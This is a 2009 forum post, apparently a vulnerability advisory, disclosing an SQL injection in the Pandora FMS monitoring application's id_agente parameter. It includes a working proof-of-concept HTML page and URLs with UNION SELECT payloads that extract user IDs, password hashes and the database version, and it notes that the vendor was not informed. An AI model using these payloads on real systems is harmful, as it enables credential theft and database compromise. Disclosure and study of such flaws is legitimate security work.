Government Security
Network Security Resources

Jump to content

Photo

Pandora Fms Monitoring V2.1.x - Sql Injection Vulnerability [Z0D]

advisory php sql hash patch
  • Please log in to reply
No replies to this topic

Poll: Do you like that Security Vulnerability Issue?

This is a public poll. Other members will be able to see which options you chose

Do you like that Security Vulnerability Issue?

You cannot see the results of the poll until you have voted. Please login and cast your vote to see the results of this poll.
Vote Guests cannot vote

#1 remove

remove

    Private First Class

  • Members
  • 56 posts

Posted 20 December 2009 - 07:06 AM

PenTest Information:
====================
GESEC Team(~smash & ~rem0ve) discover a SQL Injection Vulnerability on Pandora FMS Monitoring Software.
Attackers can manipulate the application DBMS over a remote sql-injection vulnerability.



Details
=======
Tested on OS: UBUNTU 5.4
Tested with Software: Mozilla Firefox 3.5.6

Vulnerable Products: Pandora FMS Monitoring Application
Affected Versions: v2.1.x & 3.x
Vulnerability Type: SQL-Injection
Security-Risk: Critical

Vendor-URL: http://pandorafms.org/
Source-URL: http://pandorafms.or...wnloads&lang=en
Demo-URL: http://artica.homeli...ndora/index.php (demo:demo)

Vendor-Status: Not Informed
Patch/Fix-Status: Fixed version not released
Advisory-Status: Published | 20.12.2009

UNPUBLIC Advisory-URL: *
PUBLIC Advisory-URL: http://www.governmen...t=0#entry204951

GE DB-ID: 820
CVE-ID: ()
OSVDB-ID: ()


Introduction
============
Pandora FMS is a monitoring Open Source software. It watches your systems and applications, and allows you to
know the status of any element of those systems. Pandora FMS could detect a network interface down, a defacement
in your website, a memory leak in one of your server application, or the movement of any value of the NASDAQ
new technology market.

* Detect new systems in network.
* Checks for availability or performance.
* Raise alerts when something goes wrong.
* Allow to get data inside systems with its own lite agents (for almost every Operating System).
* Allow to get data from outside, using only network probes. Including SNMP.
* Get SNMP Traps from generic network devices.
* Generate real time reports and graphics.
* SLA reporting.
* User defined graphical views.
* Store data for months, ready to be used on reporting.
* Real time graphs for every module.
* High availability for each component.
* Scalable and modular architecture.
* Supports up to 2500 modules per server.
* User defined alerts. Also could be used to react on incidents.
* Integrated incident manager.
* Integrated DB management: purge and DB compaction.
* Multiuser, multi profile, multi group.
* Event system with user validation for operation in teams.
* Granularity of accesses and user profiles for each group and each user.
* Profiles could be personalized using up to eight security attributes without limitation on groups or profiles.

Pandora FMS runs on any operating system, with specific agents for each platform, gathering data and sending it to a
server, it has specific agents for GNU/Linux, AIX, Solaris, HP-UX, BSD/IPSO, and Windows 2000, XP and 2003.


(Copy from the Vendor's Homepage: http://pandorafms.or...2=home&lang=en)



More Details
============
Attackers can execute SQL statements over the a not secured statement.

Vulnerable Modules:
[+] Pandora Agents > Agent General information


Path: /pandora/
File: index.php
Para: ?sec=estado&sec2=operation/agentes/ver_agente&id_agente=


[+] Screen:
http://img138.images...8/6229/sql1.png
http://img138.images...8/9047/sql2.png


Proof of Concept
================
The vulnerability can be exploited by attackers ...

<html><head><body>
<title>Pandora FMS Monitoring Application(v2.1.x & v3.x) - SQL Injection Exploit</title>
<b>HASH</b>
<iframe src=http://127.0.0.1:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=1%20union%20select%201,concat_ws%
280x3a,id_usuario,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20FROM%20tusuario%20order%20by%202 width=500 height=500>
<b>VERSION</b>
<iframe src=http://127.0.0.1:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=1%20union%20select%201,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20order%20by%202 width=500 height=500>
</body></head></html>

References:
http://127.0.0.1:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=1%20union%20select%201,concat_ws%280x3a,id_usuario,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20FROM%20tusuario%20order%20by%202

http://127.0.0.1:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=1%20union%20select%201,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20order%20by%202


Fix or Patch
============
Use prepared statements to fix the sql vulnerabilities on pandora monitoring.


Security Risk
=============
Attacks can compromise the application(DBMS) over a sql-injection through a not secure statement implementation.
The security risk of the sql vulnerability is estimated as critical.


Author
=======
The author & writer is part of "Global-Evolution" Security(GESEC).
GESEC Vulnerability-Research Team protects software, services, applications & informs the vendors on a secured base.

Website: http://global-evolution.info/





Also tagged with one or more of these keywords: advisory, php, sql, hash, patch